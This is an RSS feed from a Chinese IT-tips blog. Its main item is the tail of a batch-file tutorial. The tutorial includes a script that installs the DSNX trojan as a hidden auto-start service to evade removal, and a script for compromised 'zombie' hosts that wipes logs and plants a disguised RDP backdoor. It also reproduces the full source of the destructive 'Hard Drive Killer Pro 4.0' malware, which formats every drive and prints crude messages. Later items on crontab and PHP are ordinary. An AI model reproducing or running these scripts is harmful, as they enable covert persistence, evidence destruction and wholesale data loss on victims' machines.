<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />
&#8220;Invader&#8221;=&#8221;Ex4rch&#8221;<br />
&#8220;Door&#8221;=C:\\WINNT\\system32\\door.exe<br />
&#8220;Autodos&#8221;=dword:02</p>
<p>这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下<br />
新建了:Invader、door、about这三个项目<br />
Invader的类型是&#8221;String value&#8221;<br />
door的类型是&#8221;REG SZ value&#8221;<br />
Autodos的类型是&#8221;DWORD value&#8221;</p>
<p>2.修改<br />
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s</p>
<p>）即可。</p>
<p>3.删除<br />
我们首先来说说删除一个项目名称，我们创建一个如下的文件：</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />
&#8220;Ex4rch&#8221;=-</p>
<p>执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的&#8221;Ex4rch&#8221;就</p>
<p>被删除了；</p>
<p>我们再看看删除一个子项，我们创建一个如下的脚本：</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]</p>
<p>执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了</p>
<p>。</p>
<p>相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了</p>
<p>，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。</p>
<p>samlpe1:如上面的那个例子,如想生成如下注册表文件</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />
&#8220;Invader&#8221;=&#8221;Ex4rch&#8221;<br />
&#8220;door&#8221;=hex:255<br />
&#8220;Autodos&#8221;=dword:000000128</p>
<p>只需要这样：<br />
@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg<br />
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&gt;Sample.reg<br />
@echo &#8220;Invader&#8221;=&#8221;Ex4rch&#8221;&gt;&gt;Sample.reg<br />
@echo &#8220;door&#8221;=5&gt;&gt;C:\\WINNT\\system32\\door.exe&gt;&gt;Sample.reg<br />
@echo &#8220;Autodos&#8221;=dword:02&gt;&gt;Sample.reg</p>
<p>samlpe2:<br />
我们现在在使用一些比较老的木马时,可能会在注册表的</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、</p>
<p>Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查</p>
<p>杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为</p>
<p>windrv32.exe)</p>
<p>@start windrv32.exe<br />
@attrib +h +r windrv32.exe<br />
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] &gt;&gt;patch.dll<br />
@echo &#8220;windsnx &#8220;=- &gt;&gt;patch.dll<br />
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=</p>
<p>c:\winnt\system32\windrv32.exe<br />
@regedit /s patch.dll<br />
@delete patch.dll</p>
<p>@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和</p>
<p>只读，并config为自启动]<br />
@REM 这样不是更安全.</p>
<p>六.精彩实例放送。</p>
<p>1.删除win2k/xp系统默认共享的批处理<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as .bat or .cmd file &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>@echo preparing to delete all the default shares.when ready pres any key.<br />
@pause<br />
@echo off</p>
<p>:Rem check parameters if null show usage.<br />
if {%1}=={} goto :Usage</p>
<p>:Rem code start.<br />
echo.<br />
echo &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
echo.<br />
echo Now deleting all the default shares.<br />
echo.<br />
net share %1$ /delete<br />
net share %2$ /delete<br />
net share %3$ /delete<br />
net share %4$ /delete<br />
net share %5$ /delete<br />
net share %6$ /delete<br />
net share %7$ /delete<br />
net share %8$ /delete<br />
net share %9$ /delete<br />
net stop Server<br />
net start Server<br />
echo.<br />
echo All the shares have been deleteed<br />
echo.<br />
echo &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
echo.<br />
echo Now modify the registry to change the system default properties.<br />
echo.<br />
echo Now creating the registry file<br />
echo Windows Registry Editor Version 5.00&gt; c:\delshare.reg<br />
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&gt;&gt;</p>
<p>c:\delshare.reg<br />
echo &#8220;AutoShareWks&#8221;=dword:00000000&gt;&gt; c:\delshare.reg<br />
echo &#8220;AutoShareServer&#8221;=dword:00000000&gt;&gt; c:\delshare.reg<br />
echo Nowing using the registry file to chang the system default properties.<br />
regedit /s c:\delshare.reg<br />
echo Deleting the temprotarily files.<br />
del c:\delshare.reg<br />
goto :END</p>
<p>:Usage<br />
echo.<br />
echo &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
echo.<br />
echo ☆ A example for batch file ☆<br />
echo ☆ [Use batch file to change the sysytem share properties.] ☆<br />
echo.<br />
echo Author：Ex4rch<br />
echo Mail:Ex4rch@hotmail.com QQ:1672602<br />
echo.<br />
echo Error：Not enough parameters<br />
echo.<br />
echo ☆ Please enter the share disk you wanna delete ☆<br />
echo.<br />
echo For instance，to delete the default shares:<br />
echo delshare c d e ipc admin print<br />
echo.<br />
echo If the disklable is not as C: D: E: ，Please chang it youself.<br />
echo.<br />
echo example：<br />
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：<br />
echo delshare c d e x y z ipc admin print<br />
echo.<br />
echo *** you can delete nine shares once in a useing ***<br />
echo.<br />
echo &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
goto :EOF</p>
<p>:END<br />
echo.<br />
echo &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
echo.<br />
echo OK,delshare.bat has deleted all the share you assigned.<br />
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.<br />
echo<br />
echo.<br />
echo &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
echo.</p>
<p>:EOF<br />
echo end of the batch file<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as .bat or .cmd file &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>2.全面加固系统（给肉鸡打补丁）的批处理文件<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as .bat or .cmd file &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>@echo Windows Registry Editor Version 5.00 &gt;patch.dll<br />
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]</p>
<p>&gt;&gt;patch.dll</p>
<p>@echo &#8220;AutoShareServer&#8221;=dword:00000000 &gt;&gt;patch.dll<br />
@echo &#8220;AutoShareWks&#8221;=dword:00000000 &gt;&gt;patch.dll<br />
@REM [禁止共享]</p>
<p>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] &gt;&gt;patch.dll<br />
@echo &#8220;restrictanonymous&#8221;=dword:00000001 &gt;&gt;patch.dll<br />
@REM [禁止匿名登录]</p>
<p>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] &gt;&gt;patch.dll<br />
@echo &#8220;SMBDeviceEnabled&#8221;=dword:00000000 &gt;&gt;patch.dll<br />
@REM [禁止及文件访问和打印共享]</p>
<p>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] &gt;&gt;patch.dll<br />
@echo &#8220;Start&#8221;=dword:00000004 &gt;&gt;patch.dll<br />
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] &gt;&gt;patch.dll<br />
@echo &#8220;Start&#8221;=dword:00000004 &gt;&gt;patch.dll<br />
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] &gt;&gt;patch.dll<br />
@echo &#8220;ShutdownWithoutLogon&#8221;=&#8221;0&#8243; &gt;&gt;patch.dll<br />
@REM [禁止登录前关机]</p>
<p>@echo &#8220;DontDisplayLastUserName&#8221;=&#8221;1&#8243; &gt;&gt;patch.dll<br />
@REM [禁止显示前一个登录用户名称]<br />
@regedit /s patch.dll</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as .bat or .cmd file &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。<br />
@regedit /s patch.dll<br />
@net stop w3svc<br />
@net stop event log<br />
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q<br />
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q<br />
@del c:\winnt\system32\config\*.event /f /q<br />
@del c:\winnt\system32dtclog\*.* /f /q<br />
@del c:\winnt\*.txt /f /q<br />
@del c:\winnt\*.log /f /q<br />
@net start w3svc<br />
@net start event log<br />
@rem [删除日志]</p>
<p>@net stop lanmanserver /y<br />
@net stop Schedule /y<br />
@net stop RemoteRegistry /y<br />
@del patch.dll<br />
@echo The server has been patched,Have fun.<br />
@del patch.bat<br />
@REM [禁止一些危险的服务。]</p>
<p>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-</p>
<p>Tcp] &gt;&gt;patch.dll<br />
@echo &#8220;PortNumber&#8221;=dword:00002010 &gt;&gt;patch.dll<br />
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp</p>
<p>&gt;&gt;patch.dll<br />
@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll<br />
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;patch.dll<br />
@echo &#8220;Start&#8221;=dword:00000002 &gt;&gt;patch.dll<br />
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &gt;&gt;patch.dll<br />
@echo &#8220;Start&#8221;=dword:00000002 &gt;&gt;patch.dll<br />
@echo &#8220;ErrorControl&#8221;=dword:00000001 &gt;&gt;patch.dll<br />
@echo &#8220;ImagePath&#8221;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\</p>
<p>&gt;&gt;patch.dll<br />
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\</p>
<p>&gt;&gt;patch.dll<br />
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll<br />
@echo &#8220;ObjectName&#8221;=&#8221;LocalSystem&#8221; &gt;&gt;patch.dll<br />
@echo &#8220;Type&#8221;=dword:00000010 &gt;&gt;patch.dll<br />
@echo &#8220;Description&#8221;=&#8221;Keep record of the program and windows&#8217; message。&#8221; &gt;&gt;patch.dll<br />
@echo &#8220;DisplayName&#8221;=&#8221;Microsoft EventLog&#8221; &gt;&gt;patch.dll<br />
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] &gt;&gt;patch.dll<br />
@echo &#8220;Start&#8221;=dword:00000004 &gt;&gt;patch.dll<br />
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe<br />
@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]</p>
<p>3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as .bat or .cmd file &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
@echo off<br />
rem This program is dedecated to a very special person that does not want to be named.<br />
:start<br />
cls<br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br />
call attrib -r -h c:\autoexec.bat &gt;nul<br />
echo @echo off &gt;c:\autoexec.bat<br />
echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />
call attrib +r +h c:\autoexec.bat &gt;nul<br />
rem Drive checking and assigning the valid drives to the drive variable.</p>
<p>set drive=<br />
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z</p>
<p>rem code insertion for Drive Checking takes place here.<br />
rem drivechk.bat is the file name under the root directory.<br />
rem As far as the drive detection and drive variable settings, don&#8217;t worry about how it<br />
rem works, it&#8217;s d\*amn to complicated for the average or even the expert batch programmer.<br />
rem Except for Tom Lavedas.</p>
<p>echo @echo off &gt;drivechk.bat<br />
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find &#8220;Vol&#8221; &gt; nul &gt;{t}.bat<br />
%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />
del {t}.bat<br />
echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat</p>
<p>cls<br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . .</p>
<p>rem When errorlevel is 1, then the above is not true, if 0, then it&#8217;s true.<br />
rem Opposite of binary rules. If 0, it will elaps to the next command.</p>
<p>echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find &#8220;bytes&#8221; &gt; nul &gt;{t}.bat<br />
%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />
del {t}.bat<br />
echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat</p>
<p>cls<br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . .</p>
<p>rem if errorlevel is 1, then the drive specified is a removable media drive &#8211; not ready.<br />
rem if errorlevel is 0, then it will elaps to the next command.</p>
<p>echo @prompt dir %%%%1:.\/ad/w/-p $b find &#8221; 0 bytes free&#8221; &gt; nul &gt;{t}.bat<br />
%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />
del {t}.bat<br />
echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat</p>
<p>cls<br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
rem if it&#8217;s errorlevel 1, then the specified drive is a hard or floppy drive.<br />
rem if it&#8217;s not errorlevel 1, then the specified drive is a CD-ROM drive.</p>
<p>echo :enddc &gt;&gt;drivechk.bat</p>
<p>rem Drive checking insertion ends here. &#8220;enddc&#8221; stands for &#8220;end dDRIVE cHECKING&#8221;.</p>
<p>rem Now we will use the program drivechk.bat to attain valid drive information.</p>
<p>:Sampledrv</p>
<p>for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul<br />
del drivechk.bat &gt;nul<br />
if %drive.==. set drive=c</p>
<p>:form_del<br />
call attrib -r -h c:\autoexec.bat &gt;nul<br />
echo @echo off &gt;c:\autoexec.bat<br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />
echo cls &gt;&gt;c:\autoexec.bat<br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat<br />
echo cls &gt;&gt;c:\autoexec.bat<br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat<br />
echo cls &gt;&gt;c:\autoexec.bat<br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />
echo cls &gt;&gt;c:\autoexec.bat<br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat<br />
echo cls &gt;&gt;c:\autoexec.bat<br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat<br />
echo cd\ &gt;&gt;c:\autoexec.bat<br />
echo cls &gt;&gt;c:\autoexec.bat<br />
echo echo Welcome to the land of death. Munga Bunga&#8217;s Multiple Hard Drive Killer version 4.0.</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to</p>
<p>tell you the following. . . &gt;&gt;c:\autoexec.bat<br />
echo echo 1. To make people aware that security should not be taken for granted.</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo echo 2. Love is important, if you have it, truly, don&#8217;t let go of it like I did!</p>
<p>&gt;&gt;c:\autoexec.bat<br />
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I&#8217;m glad your HD is</p>
<p>dead. &gt;&gt;c:\autoexec.bat<br />
echo echo 4. Don&#8217;t support the following: War, Racism, Drugs and the Liberal</p>
<p>Party.&gt;&gt;c:\autoexec.bat</p>
<p>echo echo. &gt;&gt;c:\autoexec.bat<br />
echo echo Regards, &gt;&gt;c:\autoexec.bat<br />
echo echo. &gt;&gt;c:\autoexec.bat<br />
echo echo Munga Bunga &gt;&gt;c:\autoexec.bat<br />
call attrib +r +h c:\autoexec.bat</p>
<p>:makedir<br />
if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul<br />
echo @echo off &gt;c:\temp.bat<br />
echo %%1:\ &gt;&gt;c:\temp.bat<br />
echo cd\ &gt;&gt;c:\temp.bat<br />
echo :startmd &gt;&gt;c:\temp.bat<br />
echo for %%%%a in (&#8220;if not exist %%2\nul md %%2&#8243; &#8220;if exist %%2\nul cd %%2&#8243;) do %%%%a</p>
<p>&gt;&gt;c:\temp.bat<br />
echo for %%%%a in (&#8220;&gt;ass_hole.txt&#8221;) do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:\temp.bat<br />
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%</p>
<p>%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto</p>
<p>startmd &gt;&gt;c:\temp.bat<br />
call attrib +r +h c:\temp.bat &gt;nul</p>
<p>cls<br />
echo Initializing Variables . . .<br />
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for</p>
<p>further destruction.<br />
for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul<br />
cls<br />
echo Initializing Variables . . .<br />
echo Validating Data . . .<br />
for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul<br />
cls<br />
echo Initializing Variables . . .<br />
echo Validating Data . . .<br />
echo Analyzing System Structure . . .<br />
for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul<br />
call attrib +r +h c:\temp.bat &gt;nul<br />
call attrib +r +h c:\autoexec.bat &gt;nul<br />
cls<br />
echo Initializing Variables . . .<br />
echo Validating Data . . .<br />
echo Analyzing System Structure . . .<br />
echo Initializing Application . . .</p>
<p>for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul<br />
cls<br />
echo Initializing Variables . . .<br />
echo Validating Data . . .<br />
echo Analyzing System Structure . . .<br />
echo Initializing Application . . .<br />
echo Starting Application . . .<br />
for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul</p>
<p>cls<br />
echo Thank you for using a Munga Bunga product.<br />
echo.<br />
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.<br />
echo.<br />
echo Here is a joke for you . . .<br />
echo.<br />
echo Q). What&#8217;s the worst thing about being an egg?<br />
echo A). You only get laid once.<br />
echo.<br />
echo HAHAHAHA, get it? Don&#8217;t you just love that one?<br />
echo.<br />
echo Regards,<br />
echo.<br />
echo Munga Bunga</p>
<p>:end</p>
<p>rem Hard Drive Killer Pro Version 4.0, enjoy!!!!<br />
rem Author: Munga Bunga &#8211; from Australia, the land full of retarded Australian&#8217;s (help me get</p>
<p>out of here).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1007.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>crontab 详解</title>
		<link>http://www.evanjiang.net.cn/archives/1005.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1005.html#comments</comments>
		<pubDate>Fri, 08 May 2009 15:37:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/1005.html</guid>
		<description><![CDATA[<p>名称 : crontab </p>
<p>使用权限 : 所有使用者 </p>
<p>使用方式 : </p>
<p>crontab [ -u user ] file
crontab [ -u user ] { -l &#124; -r &#124; -e } </p>
<p>说明 :
crontab 是用来让使用者在固定时间或固定间隔执行程序之用，换句话说，也就是类似使用者的时程表。</p>
<p>-u user 是指设定指定 user 的时程表，这个前提是你必须要有其权限(比如说是 root)才能够指定他人</p>
<p>的时程表。如果不使用 -u user 的话，就是表示设定自己的时程表。 </p>
<p>餐数 : </p>
<p>-e : 执行文字编辑器来设定时程表，内定的文字编辑器是 VI，如果你想用别的文字编辑器，则请先设定 </p>
<p>VISUAL 环境变数来指定使用那个文字编辑器(比如说 setenv VISUAL joe)
-r : 删除目前的时程表
-l : 列出目前的时程表 </p>
<p>时程表的格式如下 :
f1 f2 f3 [...]]]></description>
			<content:encoded><![CDATA[<p>名称 : crontab </p>
<p>使用权限 : 所有使用者 </p>
<p>使用方式 : </p>
<p>crontab [ -u user ] file<br />
crontab [ -u user ] { -l | -r | -e } </p>
<p>说明 :<br />
crontab 是用来让使用者在固定时间或固定间隔执行程序之用，换句话说，也就是类似使用者的时程表。</p>
<p>-u user 是指设定指定 user 的时程表，这个前提是你必须要有其权限(比如说是 root)才能够指定他人</p>
<p>的时程表。如果不使用 -u user 的话，就是表示设定自己的时程表。 </p>
<p>餐数 : </p>
<p>-e : 执行文字编辑器来设定时程表，内定的文字编辑器是 VI，如果你想用别的文字编辑器，则请先设定 </p>
<p>VISUAL 环境变数来指定使用那个文字编辑器(比如说 setenv VISUAL joe)<br />
-r : 删除目前的时程表<br />
-l : 列出目前的时程表 </p>
<p>时程表的格式如下 :<br />
f1 f2 f3 f4 f5 program </p>
<p>其中 f1 是表示分钟，f2 表示小时，f3 表示一个月份中的第几日，f4 表示月份，f5 表示一个星期中的</p>
<p>第几天。program 表示要执行的程序。<br />
当 f1 为 * 时表示每分钟都要执行 program，f2 为 * 时表示每小时都要执行程序，其馀类推<br />
当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行，f2 为 a-b 时表示从第 a 到第 b 小</p>
<p>时都要执行，其馀类推<br />
当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次，f2 为 */n 表示每 n 小时个时间间隔执行一次，</p>
<p>其馀类推<br />
当 f1 为 a, b, c,&#8230; 时表示第 a, b, c,&#8230; 分钟要执行，f2 为 a, b, c,&#8230; 时表示第 a, b, c&#8230;<br />
<span id="more-1005"></span><br />
个小时要执行，其馀类推 </p>
<p>使用者也可以将所有的设定先存放在档案 file 中，用 crontab file 的方式来设定时程表。<br />
例子 : </p>
<p>每月每天每小时的第 0 分钟执行一次 /bin/ls :<br />
0 7 * * * /bin/ls </p>
<p>在 12 月内, 每天的早上 6 点到 12 点中，每隔 20 分钟执行一次 /usr/bin/backup :<br />
0 6-12/3 * 12 * /usr/bin/backup </p>
<p>周一到周五每天下午 5:00 寄一封信给 alex@domain.name :<br />
0 17 * * 1-5 mail -s &#8220;hi&#8221; alex@domain.name < /tmp/maildata<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
每月每天的午夜 0 点 20 分, 2 点 20 分, 4 点 20 分&#8230;.执行 echo &#8220;haha&#8221;<br />
20 0-23/2 * * * echo &#8220;haha&#8221; </p>
<p>注意 : </p>
<p>当程序在你所指定的时间执行后，系统会寄一封信给你，显示该程序执行的内容，若是你不希望收到这样</p>
<p>的信，请在每一行空一格之后加上 > /dev/null 2>&#038;1 即可<br />
名称 : crontab </p>
<p>使用权限 : 所有使用者 </p>
<p>使用方式 : </p>
<p>crontab [ -u user ] file<br />
crontab [ -u user ] { -l | -r | -e }<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
说明 :<br />
crontab 是用来让使用者在固定时间或固定间隔执行程序之用，换句话说，也就是类似使用者的时程表。</p>
<p>-u user 是指设定指定 user 的时程表，这个前提是你必须要有其权限(比如说是 root)才能够指定他人</p>
<p>的时程表。如果不使用 -u user 的话，就是表示设定自己的时程表。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1005.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>预定义变量之服务器变量：$_SERVER</title>
		<link>http://www.evanjiang.net.cn/archives/986.html</link>
		<comments>http://www.evanjiang.net.cn/archives/986.html#comments</comments>
		<pubDate>Mon, 04 May 2009 05:52:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=986</guid>
		<description><![CDATA[<p>预定义变量
服务器变量：$_SERVER
注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_SERVER_VARS。 </p>
<p>$_SERVER 是一个包含诸如头部(headers)、路径(paths)和脚本位置(script locations)的数组。数组的实体由 web 服务器创建。不能保证所有的服务器都能产生所有的信息；服务器可能忽略了一些信息，或者产生了一些未在下面列出的新的信息。这意味着，大量的这些变量在 CGI 1.1 specification 中说明，所以您应该仔细研究它。 </p>
<p>这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中您不需要使用 global $_SERVER; 访问它，就如同使用 $HTTP_SERVER_VARS 一样。 </p>
<p>$HTTP_SERVER_VARS 包含着同样的信息，但是不是一个自动全局变量。（注意： $HTTP_SERVER_VARS 和 $_SERVER 是不同的变量，PHP 处理它们的方式不同。） </p>
<p>如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_SERVER 和 $HTTP_SERVER_VARS 数组。相关信息，请参阅安全的相关章节 使用 Register Globals。这些单独的全局变量不是自动全局变量。 </p>
<p>您或许会发现下面列出的某些 $_SERVER 元素并不可用。注意，如果以命令行方式运行 PHP，下面列出的元素几乎没有有效的（或是没有任何实际意义的）。 </p>
<p>“PHP_SELF”
当前正在执行脚本的文件名，与 document root相关。举例来说，在URL地址为 http://example.com/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF'] 将会得到 /test.php/foo.bar 这个结果。

如果 PHP 以命令行方式运行，该变量无效。 </p>
